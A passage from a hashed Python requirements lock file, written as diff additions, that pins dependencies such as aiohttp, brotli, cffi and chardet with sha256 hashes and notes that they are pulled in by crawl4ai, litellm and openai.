--hash=sha256:fa9467a8113aa69d3d7c55a70ef0b7c636010a40993f3df9d9d0d73b3eb7ef24 \ + --hash=sha256:fd51ebf9d3a00c074df4ede271023f4d2dba289bcc740b88191872716014e3c5 + # via + # crawl4ai + # unclecode-litellm +aiosignal==1.4.0 \ + --hash=sha256:053243f8b92b990551949e63930a839ff0cf0b0ebbe0597b0f3fb19e1a0fe82e \ + --hash=sha256:f47eecd9468083c2029cc99945502cb7708b082c232f9aca65da147157b251c7 + # via aiohttp +aiosqlite==0.22.1 \ + --hash=sha256:043e0bd78d32888c0a9ca90fc788b38796843360c855a7262a532813133a0650 \ + --hash=sha256:21c002eb13823fad740196c5a2e9d8e62f6243bd9e7e4a1f87fb5e44ecb4fceb + # via crawl4ai +alphashape==1.3.1 \ + --hash=sha256:7a27340afc5f8ed301577acec46bb0cf2bada5410045f7289142e735ef6977ec \ + --hash=sha256:96a5ddd5f09534a35f03a8916aeeaac00fe4d6bec2f9ad78f87f57be3007f795 + # via crawl4ai +annotated-types==0.8.0 \ + --hash=sha256:13b2beaad985e05e2d6407ee4c4f35590b11f8d693a258a561055cac8f64cab7 \ + --hash=sha256:f072f4d804ea359e4eaf198b1af7a8b0943881a87f31bb764f8bf219bb9419e0 + # via pydantic +anyio==4.15.1 \ + --hash=sha256:6152fdbbf9a77fdec97731721bebf7c4c44f7c29b424b0065826173efc7ed101 \ + --hash=sha256:9f28306018cbd6d329e64a36d58256edff76dd996fe423bc957326e578b82a94 + # via + # crawl4ai + # httpx + # httpx2 + # openai +attrs==26.1.0 \ + --hash=sha256:c647aa4a12dfbad9333ca4e71fe62ddc36f4e63b2d260a37a8b83d2f043ac309 \ + --hash=sha256:d03ceb89cb322a8fd706d4fb91940737b6642aa36998fe130a9bc96c985eff32 + # via + # aiohttp + # jsonschema + # referencing +beautifulsoup4==4.15.0 \ + --hash=sha256:288e3ca7d54b06f2ac191970bc275c1939cb46d450b255bf6718b04aa37ab4f7 \ + --hash=sha256:d6f88de62e1d4e38ecb1077eb9724cd0eff29d2a08ca16a401e9b9e93f117cf9 + # via crawl4ai +brotli==1.2.0 \ + --hash=sha256:022426c9e99fd65d9475dce5c195526f04bb8be8907607e27e747893f6ee3e24 \ + --hash=sha256:072e7624b1fc4d601036ab3f4f27942ef772887e876beff0301d261210bca97f \ + --hash=sha256:09ac247501d1909e9ee47d309be760c89c990defbb2e0240845c892ea5ff0de4 \ + --hash=sha256:0bbd5b5ccd157ae7913750476d48099aaf507a79841c0d04a9db4415b14842de \ + --hash=sha256:0cf8c3b8ba93d496b2fae778039e2f5ecc7cff99df84df337ca31d8f2252896c \ + --hash=sha256:14ef29fc5f310d34fc7696426071067462c9292ed98b5ff5a27ac70a200e5470 \ + --hash=sha256:15b33fe93cedc4caaff8a0bd1eb7e3dab1c61bb22a0bf5bdfdfd97cd7da79744 \ + --hash=sha256:1b1d6a4efedd53671c793be6dd760fcf2107da3a52331ad9ea429edf0902f27a \ + --hash=sha256:1b557b29782a643420e08d75aea889462a4a8796e9a6cf5621ab05a3f7da8ef2 \ + --hash=sha256:1b71754d5b6eda54d16fbbed7fce2d8bc6c052a1b91a35c320247946ee103502 \ + --hash=sha256:1ce223652fd4ed3eb2b7f78fbea31c52314baecfac68db44037bb4167062a937 \ + --hash=sha256:1e68cdf321ad05797ee41d1d09169e09d40fdf51a725bb148bff892ce04583d7 \ + --hash=sha256:260d3692396e1895c5034f204f0db022c056f9e2ac841593a4cf9426e2a3faca \ + --hash=sha256:26e8d3ecb0ee458a9804f47f21b74845cc823fd1bb19f02272be70774f56e2a6 \ + --hash=sha256:2881416badd2a88a7a14d981c103a52a23a276a553a8aacc1346c2ff47c8dc17 \ + --hash=sha256:29b7e6716ee4ea0c59e3b241f682204105f7da084d6254ec61886508efeb43bc \ + --hash=sha256:2a7f1d03727130fc875448b65b127a9ec5d06d19d0148e7554384229706f9d1b \ + --hash=sha256:2d39b54b968f4b49b5e845758e202b1035f948b0561ff5e6385e855c96625971 \ + --hash=sha256:2e1ad3fda65ae0d93fec742a128d72e145c9c7a99ee2fcd667785d99eb25a7fe \ + --hash=sha256:3173e1e57cebb6d1de186e46b5680afbd82fd4301d7b2465beebe83ed317066d \ + --hash=sha256:3219bd9e69868e57183316ee19c84e03e8f8b5a1d1f2667e1aa8c2f91cb061ac \ + --hash=sha256:350c8348f0e76fff0a0fd6c26755d2653863279d086d3aa2c290a6a7251135dd \ + --hash=sha256:35d382625778834a7f3061b15423919aa03e4f5da34ac8e02c074e4b75ab4f84 \ + --hash=sha256:3b90b767916ac44e93a8e28ce6adf8d551e43affb512f2377c732d486ac6514e \ + --hash=sha256:3e1b35d56856f3ed326b140d3c6d9db91740f22e14b06e840fe4bb1923439a18 \ + --hash=sha256:3ebe801e0f4e56d17cd386ca6600573e3706ce1845376307f5d2cbd32149b69a \ + --hash=sha256:3f3c908bcc404c90c77d5a073e55271a0a498f4e0756e48127c35d91cf155947 \ + --hash=sha256:40d918bce2b427a0c4ba189df7a006ac0c7277c180aee4617d99e9ccaaf59e6a \ + --hash=sha256:465a0d012b3d3e4f1d6146ea019b5c11e3e87f03d1676da1cc3833462e672fb0 \ + --hash=sha256:4735a10f738cb5516905a121f32b24ce196ab82cfc1e4ba2e3ad1b371085fd46 \ + --hash=sha256:4ecdb3b6dc36e6d6e14d3a1bdc6c1057c8cbf80db04031d566eb6080ce283a48 \ + --hash=sha256:50b1b799f45da91292ffaa21a473ab3a3054fa78560e8ff67082a185274431c8 \ + --hash=sha256:54a50a9dad16b32136b2241ddea9e4df159b41247b2ce6aac0b3276a66a8f1e5 \ + --hash=sha256:5732eff8973dd995549a18ecbd8acd692ac611c5c0bb3f59fa3541ae27b33be3 \ + --hash=sha256:598e88c736f63a0efec8363f9eb34e5b5536b7b6b1821e401afcb501d881f59a \ + --hash=sha256:640fe199048f24c474ec6f3eae67c48d286de12911110437a36a87d7c89573a6 \ + --hash=sha256:66c02c187ad250513c2f4fce973ef402d22f80e0adce734ee4e4efd657b6cb64 \ + --hash=sha256:67a91c5187e1eec76a61625c77a6c8c785650f5b576ca732bd33ef58b0dff49c \ + --hash=sha256:6be67c19e0b0c56365c6a76e393b932fb0e78b3b56b711d180dd7013cb1fd984 \ + --hash=sha256:6c12dad5cd04530323e723787ff762bac749a7b256a5bece32b2243dd5c27b21 \ + --hash=sha256:71a66c1c9be66595d628467401d5976158c97888c2c9379c034e1e2312c5b4f5 \ + --hash=sha256:7274942e69b17f9cef76691bcf38f2b2d4c8a5f5dba6ec10958363dcb3308a0a \ + --hash=sha256:7547369c4392b47d30a3467fe8c3330b4f2e0f7730e45e3103d7d636678a808b \ + --hash=sha256:7a47ce5c2288702e09dc22a44d0ee6152f2c7eda97b3c8482d826a1f3cfc7da7 \ + --hash=sha256:7a61c06b334bd99bc5ae84f1eeb36bfe01400264b3c352f968c6e30a10f9d08b \ + --hash=sha256:7ad8cec81f34edf44a1c6a7edf28e7b7806dfb8886e371d95dcf789ccd4e4982 \ + --hash=sha256:7e9053f5fb4e0dfab89243079b3e217f2aea4085e4d58c5c06115fc34823707f \ + --hash=sha256:7fa18d65a213abcfbb2f6cafbb4c58863a8bd6f2103d65203c520ac117d1944b \ + --hash=sha256:81da1b229b1889f25adadc929aeb9dbc4e922bd18561b65b08dd9343cfccca84 \ + --hash=sha256:82676c2781ecf0ab23833796062786db04648b7aae8be139f6b8065e5e7b1518 \ + --hash=sha256:832c115a020e463c2f67664560449a7bea26b0c1fdd690352addad6d0a08714d \ + --hash=sha256:844a8ceb8483fefafc412f85c14f2aae2fb69567bf2a0de53cdb88b73e7c43ae \ + --hash=sha256:865cedc7c7c303df5fad14a57bc5db1d4f4f9b2b4d0a7523ddd206f00c121a16 \ + --hash=sha256:88ef7d55b7bcf3331572634c3fd0ed327d237ceb9be6066810d39020a3ebac7a \ + --hash=sha256:898be2be399c221d2671d29eed26b6b2713a02c2119168ed914e7d00ceadb56f \ + --hash=sha256:8d4f47f284bdd28629481c97b5f29ad67544fa258d9091a6ed1fda47c7347cd1 \ + --hash=sha256:92edab1e2fd6cd5ca605f57d4545b6599ced5dea0fd90b2bcdf8b247a12bd190 \ + --hash=sha256:9322b9f8656782414b37e6af884146869d46ab85158201d82bab9abbcb971dc7 \ + --hash=sha256:95db242754c21a88a79e01504912e537808504465974ebb92931cfca2510469e \ + --hash=sha256:963a08f3bebd8b75ac57661045402da15991468a621f014be54e50f53a58d19e \ + --hash=sha256:96fbe82a58cdb2f872fa5d87dedc8477a12993626c446de794ea025bbda625ea \ + --hash=sha256:99cfa69813d79492f0e5d52a20fd18395bc82e671d5d40bd5a91d13e75e468e8 \ + --hash=sha256:9c79f57faa25d97900bfb119480806d783fba83cd09ee0b33c17623935b05fa3 \ + --hash=sha256:9e5825ba2c9998375530504578fd4d5d1059d09621a02065d1b6bfc41a8e05ab \ + --hash=sha256:9fe11467c42c133f38d42289d0861b6b4f9da31e8087ca2c0d7ebb4543625526 \ + --hash=sha256:a1778532b978d2536e79c05dac2d8cd857f6c55cd0c95ace5b03740824e0e2f1 \ + --hash=sha256:a387225a67f619bf16bd504c37655930f910eb03675730fc2ad69d3d8b5e7e92 \ + --hash=sha256:a56ef534b66a749759ebd091c19c03ef81eb8cd96f0d1d16b59127eaf1b97a12 \ + --hash=sha256:aa47441fa3026543513139cb8926a92a8e305ee9c71a6209ef7a97d91640ea03 \ + --hash=sha256:ac27a70bda257ae3f380ec8310b0a06680236bea547756c277b5dfe55a2452a8 \ + --hash=sha256:acec55bb7c90f1dfc476126f9711a8e81c9af7fb617409a9ee2953115343f08d \ + --hash=sha256:adedc4a67e15327dfdd04884873c6d5a01d3e3b6f61406f99b1ed4865a2f6d28 \ + --hash=sha256:af43b8711a8264bb4e7d6d9a6d004c3a2019c04c01127a868709ec29962b6036 \ + --hash=sha256:b232029d100d393ae3c603c8ffd7e3fe6f798c5e28ddca5feabb8e8fdb732997 \ + --hash=sha256:b35c13ce241abdd44cb8ca70683f20c0c079728a36a996297adb5334adfc1c44 \ + --hash=sha256:b63daa43d82f0cdabf98dee215b375b4058cce72871fd07934f179885aad16e8 \ + --hash=sha256:b908d1a7b28bc72dfb743be0d4d3f8931f8309f810af66c906ae6cd4127c93cb \ + --hash=sha256:ba76177fd318ab7b3b9bf6522be5e84c2ae798754b6cc028665490f6e66b5533 \ + --hash=sha256:bba6e7e6cfe1e6cb6eb0b7c2736a6059461de1fa2c0ad26cf845de6c078d16c8 \ + --hash=sha256:c0d6770111d1879881432f81c369de5cde6e9467be7c682a983747ec800544e2 \ + --hash=sha256:c16ab1ef7bb55651f5836e8e62db1f711d55b82ea08c3b8083ff037157171a69 \ + --hash=sha256:c1702888c9f3383cc2f09eb3e88b8babf5965a54afb79649458ec7c3c7a63e96 \ + --hash=sha256:c25332657dee6052ca470626f18349fc1fe8855a56218e19bd7a8c6ad4952c49 \ + --hash=sha256:c8565e3cdc1808b1a34714b553b262c5de5fbda202285782173ec137fd13709f \ + --hash=sha256:cf9cba6f5b78a2071ec6fb1e7bd39acf35071d90a81231d67e92d637776a6a63 \ + --hash=sha256:d206a36b4140fbb5373bf1eb73fb9de589bb06afd0d22376de23c5e91d0ab35f \ + --hash=sha256:d2d085ded05278d1c7f65560aae97b3160aeb2ea2c0b3e26204856beccb60888 \ + --hash=sha256:d8c05b1dfb61af28ef37624385b0029df902ca896a639881f594060b30ffc9a7 \ + --hash=sha256:e310f77e41941c13340a95976fe66a8a95b01e783d430eeaf7a2f87e0a57dd0a \ + --hash=sha256:e7c0af964e0b4e3412a0ebf341ea26ec767fa0b4cf81abb5e897c9338b5ad6a3 \ + --hash=sha256:e80a28f2b150774844c8b454dd288be90d76ba6109670fe33d7ff54d96eb5cb8 \ + --hash=sha256:e813da3d2d865e9793ef681d3a6b66fa4b7c19244a45b817d0cceda67e615990 \ + --hash=sha256:e85190da223337a6b7431d92c799fca3e2982abd44e7b8dec69938dcc81c8e9e \ + --hash=sha256:e99befa0b48f3cd293dafeacdd0d191804d105d279e0b387a32054c1180f3161 \ + --hash=sha256:eda5a6d042c698e28bda2507a89b16555b9aa954ef1d750e1c20473481aff675 \ + --hash=sha256:ef87b8ab2704da227e83a246356a2b179ef826f550f794b2c52cddb4efbd0196 \ + --hash=sha256:f16dace5e4d3596eaeb8af334b4d2c820d34b8278da633ce4a00020b2eac981c \ + --hash=sha256:f8d635cafbbb0c61327f942df2e3f474dde1cff16c3cd0580564774eaba1ee13 \ + --hash=sha256:fc1530af5c3c275b8524f2e24841cbe2599d74462455e9bae5109e9ff42e9361 \ + --hash=sha256:ff09cd8c5eec3b9d02d2408db41be150d8891c5566addce57513bf546e3d6c6d + # via crawl4ai +certifi==2026.7.22 \ + --hash=sha256:62f22742b58a1a33014a2b6b706588a8d7e2a88ae7bd1a6ebe8c992928483775 \ + --hash=sha256:741e2c3b351ddf169a738da9f2c048608ff7f2c5cc02f1ebc6b118bb090d5d55 + # via + # httpcore + # httpx + # requests +cffi==2.1.1 \ + --hash=sha256:046bfc24911b37851ee1b51aab8bffe713d89c68c6a057b09484ce9fd5f69b4e \ + --hash=sha256:06c72bb76605a4b0cd0aad6930b69d4baf7dd5d806cfc409b824191099700e66 \ + --hash=sha256:0beceaabe56af686895136a2de78db54ecd8e4046b236b8fd6d6cb61389e9bf2 \ + --hash=sha256:154852545011f779917b11c78db2358d095da62a9a172b78ad0a583ee5adc0d0 \ + --hash=sha256:194cffa889098ced9976c3fc6340305e43f6303657d298da55366907c05c22d6 \ + --hash=sha256:19ee6127ee34de7d83ce3d371ebc5ed91addbdcc39f9ab15ce4eb35a4e534971 \ + --hash=sha256:1a18a57b58cfb21fc28d72e876acf10eaed67a1ed96226f92af4df681d571c4c \ + --hash=sha256:1aa5645c30469b09530c4ebca77ebf8f17618293c58f8549cb1a543a50236e7d \ + --hash=sha256:1dea0e4d7d4f11f619fe8c1d76caf49e24405b4b5743c0e3be16a500ecd930c9 \ + --hash=sha256:208f941bb9d18e768138677f0a6d2ce01f590df56043dda1df1535ac57c88517 \ + --hash=sha256:210019b6c7cf07f081b4c54635c8cf744377001350e29cc0f81c4377b4797735 \ + --hash=sha256:246fa40ce8645a614ff682e0b70f37134e460eaf93a775e0cbe3cca585a67a80 \ + --hash=sha256:25792eac27877609e7bb06d42ff88278a6624fff2ba9bbb523c09616b117e80f \ + --hash=sha256:27350daa11d4f10c540e6e89dada4c54feb7256ad03e9a4dc075ebad7ba360d1 \ + --hash=sha256:28907ab9bfb6aa13184cfc17c6b8e1023c5ab6fd7076d8c20a35e59fe04f8f29 \ + --hash=sha256:2ae64be792b8966f2c69538199728b290e34726562896df1e5dc8ffd8d8188e8 \ + --hash=sha256:31348097ff5bbe827ccc41795d4dd099d9f0625e7def00ee653c137a490c2a6c \ + --hash=sha256:3143d81e29e1e20a9ce10901ec369012947876596f75a222235965f2b7ae832e \ + --hash=sha256:3222ba5d678f80a030e6afbcc33dc1ae5cb45facabb61cee2c7016b8432fde48 \ + --hash=sha256:3311ed60d36f83378794e1009ac6258bafbf81f7888b4caa7b35a521e3f95813 \ + --hash=sha256:334644fbac4eff73d985a17a91226df55d0f394160c4cfb880e084c8f7161cac \ + --hash=sha256:34e261f78cb6ceaaa36f42f2613f4380d94d9c759a9c73c769ee6e0247364632 \ + --hash=sha256:363e05fa78e15116c3c32c210ee36884fd6b9afa6d440e47112c3bd511d64cb6 \ + --hash=sha256:398aff33cee2767e3e781d2554c54bd0dff386bb437581e0d8011fde1a942ec1 \ + --hash=sha256:3d22a20b1fb1632cc72c22f95f7b0d2961c3e1c235f245ba4c606c4771035659 \ + --hash=sha256:42a494cee34437f05546455144f2b5d9ac09b1face62bcfce597d2e521066688 \ + --hash=sha256:42e2f76b9455f5a9a844f770bf3e200ed3da0e15f5df3db9c31fe80b04b3d004 \ + --hash=sha256:42f6930c31dc7f50732c9ae793c2786c7b6b044195967bbdde40bb9be81c4cc0 \ + --hash=sha256:456a61fa52d579ebf9df2e9552ead5129855dbaff6c1e5a9b1bc408809bdc062 \ + --hash=sha256:471cee653ae88de62096552e6d24ccb4a5adb8c8c9f10b5054d0122c15bf2779 \ + --hash=sha256:49cbc70e6542d4ccccb936558d1064a8012541e78f821f955cff24e357776c94 \ + --hash=sha256:4a7c934f7360e8cd64fe9efadcbd10c7c6364f531e432b9a4bf5ccbc9e0e8b50 \ + --hash=sha256:4be96343e422f2dfcd12ab5c9f5aebe03f82f737c6bffeca6830b3875cb44aab \ + --hash=sha256:4f42141fc14250de6dde5ee7ea4432be017252d91f19c5ad043c084cea629cac \ + --hash=sha256:507a24c282e0f42f8ed737cf048572cbf580468da5555764a8331735e9c736b6 \ + --hash=sha256:51b31d1c98274844cfd7838ce00bfc27c7423a4dc00fc0772fc3331c2cc90676 \ + --hash=sha256:58acb8ab8e295e6c5ea12f888cbb13cf21511ef2a3303a23f4325c29d17fe5c1 \ + --hash=sha256:5a59cc1c4442bc3d5c703bf720b51138d0bfc173618807c9ee2490a7541dd3d9 \ + --hash=sha256:5bb4e7ea95dcd6a014a6fef62e62467d67d8e582326443f3d68e71d6320a9fcf \ + --hash=sha256:5c58fe613dc5e5336357eff555824a314d8e43282600435c8d1cb6a7a2fedd13 \ + --hash=sha256:5e7cecbaadb83884793e05828cee59b210b24583b9c7425d0ba6a754fe22eb4e \ + --hash=sha256:616f097f2fe415bc92a247f02e11f634e1f9e9a83d327e3c915c15089c87869e \ + --hash=sha256:63bbfd5ded17c4840ac07cd8f1c21ba9d9708141f840b324f422f41b207e3973 \ + --hash=sha256:64faea20f4e2613363a1a9b9c7dd73058f3ecd00133a511e72ad7c511658f527 \ + --hash=sha256:661c298b4821edebead0c91edd2b00374d67ad7c5a1f7a91d4442633b79d6a72 \ + --hash=sha256:68e62fe11f30d5ca8289242866f0a5291402d8529ca2178ab8afc5c9694ae890 \ + --hash=sha256:6a8dddef476fab96d066d578fc88526767b836ab5ab21754e1d5bf3879c31c7c \ + --hash=sha256:6e192623c49c94421616a5778fba35cf0d5a8d000650c1967ef4448ee5cdd990 \ + --hash=sha256:7225e4514edb64eb6740324353e0da0711954fd8d7da4576755b1c6e09b697cd \ + --hash=sha256:75f80557d1389eddbd0de2681f6a390a0c5338c31ddaa821381c203fc3fd50d9 \ + --hash=sha256:770de9db11e84213beec501cfcaa013b019820ca881e03344dea5844f7876d94 \ + --hash=sha256:7750c6449dff7864bb9bb27ddfb0267756189201a3afc911d82b3caacd70dfc3 \ + --hash=sha256:7bde5e4cc5c10140859842b9d383af292b22639a4dffb725314baf45968cef80 \ + --hash=sha256:7ce713ace7c0e4520535b42b77eaa742c16dab813978064913e5a3cf82973b41 \ + --hash=sha256:7da0c5eff80f0197f3b3d1232ec5a682a9325f4ae9016a78f5f5ca35f9ced1f5 \ + --hash=sha256:7dbb61fe3a7699468030f71bbe5f8a0e326a151daa91beb11a6fc1f980c55e1c \ + --hash=sha256:811bd1e21d32de12efca32393a0ab3f5133b54fce9bd44b8bd77ab07da14bf6a \ + --hash=sha256:8ef53b2de9bcb9197d31854256575d59dbac0cba72ac627bb291ef5eceb74be4 \ + --hash=sha256:937c0052c05a31ca1daf18de3158eed4dbfcb9cc107adbea227728d647be701e \ + --hash=sha256:9d2055050ea716bd38b7f7f1579c275386646b4894c155a3e2f3cd62ed41b7c6 \ + --hash=sha256:9f8d177621de5cb38ee3e731eda45d421db093ec0739f46a5594babda7987a98 \ + --hash=sha256:a2d7755bef5a12ed488f4ef1f1b69ee9191d7396083b755a5d2295f6edb4768b \ + --hash=sha256:a48d62ab9d6f4f98c983223a547af44be6ca3691074c31cecced6facd3ba2dc1 \ + --hash=sha256:a4f00aa42f75d6e4595e8866e748cc1705adc0cddfeb2ca86d0d03993d63ba03 \ + --hash=sha256:a6e721d4b0e45d5b65e87534470e67b18dcd092c83f68fba09f152b9cbc061af \ + --hash=sha256:a730a083190634c65cca36ba5f489531576ebd79bcd5c8e172130f6453127231 \ + --hash=sha256:a931079504ecc49efed7744c476a5c343a92fabf66dec2db95edb1b2fdc770e2 \ + --hash=sha256:aa9511c62d14da7aacc9b4bf51f3f697a621e83b2d6919008243c3aad168eea3 \ + --hash=sha256:ab36d55f9ed2d067327667c2fea18dda018eb628dd6347aa01dda6cf1f5d3836 \ + --hash=sha256:ad2c86c495b899d862ea0f4b42891b8713a3bd45dd4105c7fd51c2a72f39f3a5 \ + --hash=sha256:aeae0e330c9f6acd681f647d46cefd30c29f93e3392882e792e82080c9691399 \ + --hash=sha256:b0431303acaea1089ad4b3e9ce4e6518193def1118d4073ca848635ee4ea2e96 \ + --hash=sha256:b5bdfd1c873d4e093aabc0ca84c4ca6dbc4f752afb5c86f146d9742580c9da2e \ + --hash=sha256:baed1e86cc735622097354b9d1281406caf42ff42a886d29faa8e8d1630333be \ + --hash=sha256:c1453022f490d2459a11819d83ad1d586e9ff65a12ac3e705ffebd46d3685dcf \ + --hash=sha256:c26608d2222fb1e94487e4a387d85f13eb55d5ed725cb25a0c589ac4ee60e7bc \ + --hash=sha256:c7659f22557c5a0bc4855cd635f55edec690cc008a40768527762cb9fb263455 \ + --hash=sha256:c8c69575568085ba0b1b10c0249d779a214aea6f6522e949a0fc9fb0fcb449d0 \ + --hash=sha256:c8d2c9fd1f2d16f780d15127abb050d13d1a76c03a4bd87d7e4980e45e511e12 \ + --hash=sha256:ca82be1a1d406ecfe1d25dc16cb33488e5a16bf4438c9fb590484ea29d92478b \ + --hash=sha256:cc572dace3f60ef98d7b12ff411d20f5362feb31a0439eab0085bbfd349982d7 \ + --hash=sha256:d18e5ac0f2f03f4f518d3e23db0f0cad7faa1da8620e9c09461d443bbf6e6692 \ + --hash=sha256:d28630f5854ab07ab1fd4aba756de52326c82e6be15d414b12793f1975048b54 \ + --hash=sha256:d9c275eaacd24aa73f94ffd6de08fc3f932424d8b6c376f4bed7cde376fe7bc3 \ + --hash=sha256:da0e573f9f97159390c89d9f1a9e41908b66d408cc5b58d08cf3847d844c531b \ + --hash=sha256:dd31f52ea1086513bb9df30f8fcee9b8918323ae067a3d5b78bc826a000712be \ + --hash=sha256:dddad92b554513a31f272570678ba307fb9f618f05e3d4a5eacafff9eae03e1d \ + --hash=sha256:df423d40ee8654634421812bc3b196da3f9bd7d32929da813f8394c4348a5358 \ + --hash=sha256:df913725b79db7bcf03448f36b7bf8815363417d5b58deecf9305e3e30f0f21a \ + --hash=sha256:e0bcb7e0f677f543555d2adff3bf19c05f66cdb4796e5ff602442ab2fe3c4ef7 \ + --hash=sha256:e2d65b31f36619cda3999b78b2aa9632e76b78448e7a56fc4240824200e7c4fc \ + --hash=sha256:e6e8cff14d6fb0be70a09c0bdc58096f501952d04624ebf867e0e56da2df8960 \ + --hash=sha256:f16c709686a78c727bbbf059f92b0bf41c6fc60deec706d2dc19f529175a6125 \ + --hash=sha256:f24fb43132a4c6b4cb4eb029492919b2db645be6808d738f244fd146c03c32cb \ + --hash=sha256:f53e442b08449d42821fa4a4fba000095af9f62742a500f978a9f557ec44339a \ + --hash=sha256:f5cfbc5fe74540d335175b656c725d74d90e3730c626d92575eea35029d9afaa \ + --hash=sha256:f81b3b8f3d4e343550fa4baa0e479bba9f2d29ce9c2e9b51d1ce1718d7442fcf \ + --hash=sha256:f8ec5e643a9a937f64e1999eb9f75d072263751912dc5cd06d3c85f8f44be7c3 \ + --hash=sha256:fb92203a88b3d3053034db775110081c49d28be6551923805e039924093761e4 \ + --hash=sha256:fcd22650c908d7b7da162bbfaab594a1227a15d1643a98c68b122ac642fa2264 + # via cryptography +chardet==7.6.0 \ + --hash=sha256:089e3bb81a0a07e94f15461ded9f9ee66d349615b1a9fd557d4de1003e2fc12e \ + --hash=sha256:0ad9bc6dab4f338673353fa3f0dc96122f559aaf746087408106e2fcbf132fe8 \ + --hash=sha256:0bdb6f03107b7ace3f44e0edd91aa24456ee558787df265cc19daf45785b31c7 \ + --hash=sha256:0c44a32da32cc8b23d6b20d98ace15ec7600950e4955d1bf5ab1f849b0187fdb \ + --hash=sha256:0f304de7041afaec0195ad6464937cd112392002e9d72ed15d55f20a9abd3a13 \ + --hash=sha256:167d7ba3ee08b654e36d7b43ebd9a36606c9a12e2fabdb361757a095ca3b7e3d \ + --hash=sha256:19fea52164e6e00f2a21ed418f42e4b0162a09199274c86d07ad3efd661317c4 \ + --hash=sha256:249993b88ac7a58cad2781acea8f379152a28a719c9b401d614898c63a8c83da \ + --hash=sha256:271ab71ec1be61dbbce0436de0848895c03eae051c379e937a39573d9ce403d9 \ + --hash=sha256:284136186ff90735f901ed0a1c6d41e7af67c666841cc0eceb58482a21b7056c \ + --hash=sha256:2b5d31f9b7f793e15e81cca877e7ccd72bffffa2a3443a9d47be9dfee84fad69 \ + --hash=sha256:2cf0adaca8b1c4bacfade9d0a1e4f8f70b1bb122833d6f07ab90e3adc84eb13a \ + --hash=sha256:360260d074d8712ac1e9048fcafb0fdde246f9d0b12555748ad0017c5ecee43d \ + --hash=sha256:406936df1328a3284fef366eaa2bfd1cccd0ef1b10cb99781dd5b022ea644b84 \ + --hash=sha256:4076d795897ce45239825956a1334e134322ecc4bfe84dbb12acd5390de0fbc1 \ + --hash=sha256:43ea433e43a23c55e8e17f3fad1e07f5cfe5450c73124b95b0d849c21ad379ee \ + --hash=sha256:459e2b1c98f9a86a4698112aa42dffa802bbbff883c1ff144071f87224125862 \ + --hash=sha256:4b81d3f7d7914442d5f7d515b8c6d79cee6b794bc208971fb6902f176671166a \ + --hash=sha256:55a4c31adc7c7e83ad412f2f66b6b7358d0d4fe67505e7f58e18f68f75d341bb \ + --hash=sha256:57e6846cc13ce1ff59979f4ec9da770c57e12aa99046073f632de5a51d9a6f20 \ + --hash=sha256:5e9b31b9ae93872d66439b046a1e08c2ea99791f3c254dce1e2633e395c5587c \ + --hash=sha256:61238d5945b36af9a2ad13494f8969b7deb3c3b4abe223e54670c064e73f5328 \ + --hash=sha256:6424512f576fa7e88b7431d38a42d57552c8f717465a975fc42e497cd280d833 \ + --hash=sha256:75d6c3a4d2046d49e83d2d2206eb073a1f390743e856d90c1bbc19949b26acf4 \ + --hash=sha256:7b586cab9e9072dddd89bc2bd27ee72808d0c84ec73695fe6ec0f3c46b057c65 \ + --hash=sha256:7bbc8a9652c7f859c593847f220c1d264f25749369abb1a267b404ee8cceb209 \ + --hash=sha256:83512a475a2f3886166aa0bca1bbb39343a4eb3186dd5532127d6f2591d09118 \ + --hash=sha256:8900f6c7cf6b015b17a51767cc6144689059ba1cdceaa383d29eb037ac28579e \ + --hash=sha256:93d9df6089ded42ed1fe9f57e272c0b74bd0464d45c0c7d50f09f26f31105c3c \ + --hash=sha256:a12023d48d0e207791c01161d03cb3c0d85c6a15f345eb9d3d56063a63d1e40f \ + --hash=sha256:a4f0a368ad04d5def08bdfaa17c7e15e71552f93923dc2aa9b2f7d9dee02fbb6 \ + --hash=sha256:aa03322e07ac08d520ec50bb50c73143d0892d1adc067d4c5e58f4ef4b2363a8 \ + --hash=sha256:b3b4c96c4df93899b3c8b9e8159e06b1f55c66d7ca384d91481108e251a06eb0 \ + --hash=sha256:b73f277c1ac09c4f8076c4214b816c7aa78a0a2f0cb7156742f4303f856bedc3 \ + --hash=sha256:c54b6a8d3b219560fa5cf4c28df932c37471afe047afdc152067104e741f38c1 \ + --hash=sha256:c6061adf247ab5dda173b67010e13904c6071717660c7c8077fb50aca362b264 \ + --hash=sha256:cbaca8f563a9de07ab1a53157dba93802e54c26afe3339892afcc7c59ea4ef1b \ + --hash=sha256:cedbc584789eb2edfde20fd03669972a833ce6019e60014ae613f9bfc440e8e3 \ + --hash=sha256:cf6d08c2373b7772a558d141f9e8cee53fe1d222341bac612e4d558b04995f73 \ + --hash=sha256:d5dc835e40e0e09c2c3eab43731a8b5127834f42786dda09ba2f4b699ccd527a \ + --hash=sha256:d6030886e7da2740bf299b6a8cc75b4dcc2c90db0ca8fe0a6e4fd0bfd071dabd \ + --hash=sha256:da86fc1b40ff5996fbb5e4c2d2dca770eac2c893cef157dacc050b8b4d929846 \ + --hash=sha256:dde4080fb6bb8db96e8c44893771bcc0d235f4c22cdddb194a765a65e3a72ba7 \ + --hash=sha256:f14f46ef1977e41ce1f4814ca6984cea7f8b6baf8cbc6626ef7bf3d13cf7ea13 \ + --hash=sha256:f2ec3c78cc6b54bf8e091ec4ee885473078b5d7ef18ab1b01c86ae1e98bf88f7 \ + --hash=sha256:fc1e1571321baf8927582fe34363ad7f02279f11c8c2839c14b4c76894148db6 + # via crawl4ai +charset-normalizer==3.5.1 \ + --hash=sha256:00668ebb0609751758682eb0b5857e7c35b9f00e84dfdef062e103244ec94d45 \ + --hash=sha256:012a22b88a77ca2e59b98ac5889b0deb604147666032f45e6d6e217634d2550d \ + --hash=sha256:01e93745f7f219b703b60ba7afead36cfc4242782be5af484673fc500df12da5 \ + --hash=sha256:04368edf83514385ffc3e1cfd4546e595f4f1272dd23ba437a93a9cc3741d47b \ + --hash=sha256:0722590aabf9dc6a6c0343d523c05458fa2b5047dbe6302fd526bb570600753f \ + --hash=sha256:07ffd07412fc5d5e84cd8952acf9ff7e4ed7a708e69d1bada19d8ba91711353f \ + --hash=sha256:09a7bba9f739468c8e78c36a75c33768e53cb1959fc638f510454c14683f00d5 \ + --hash=sha256:0b2b1b3fa5670c127b246df1d0c059defd41f689a868a3b9d79df9b1cac42d22 \ + --hash=sha256:0c6dfb5ca6723eeed15aa8e564a014d69fcb8812f94eef11fe3631e0508199f5 \ + --hash=sha256:0d929fc574b4d6fd9e7c0f5c2ede8716a41911923aa7fa5fce38e0818aa4a1ac \ + --hash=sha256:13e3afe97712e8887cd516e960c63f0b93122971e5b5e4b2622fe7701771e838 \ + 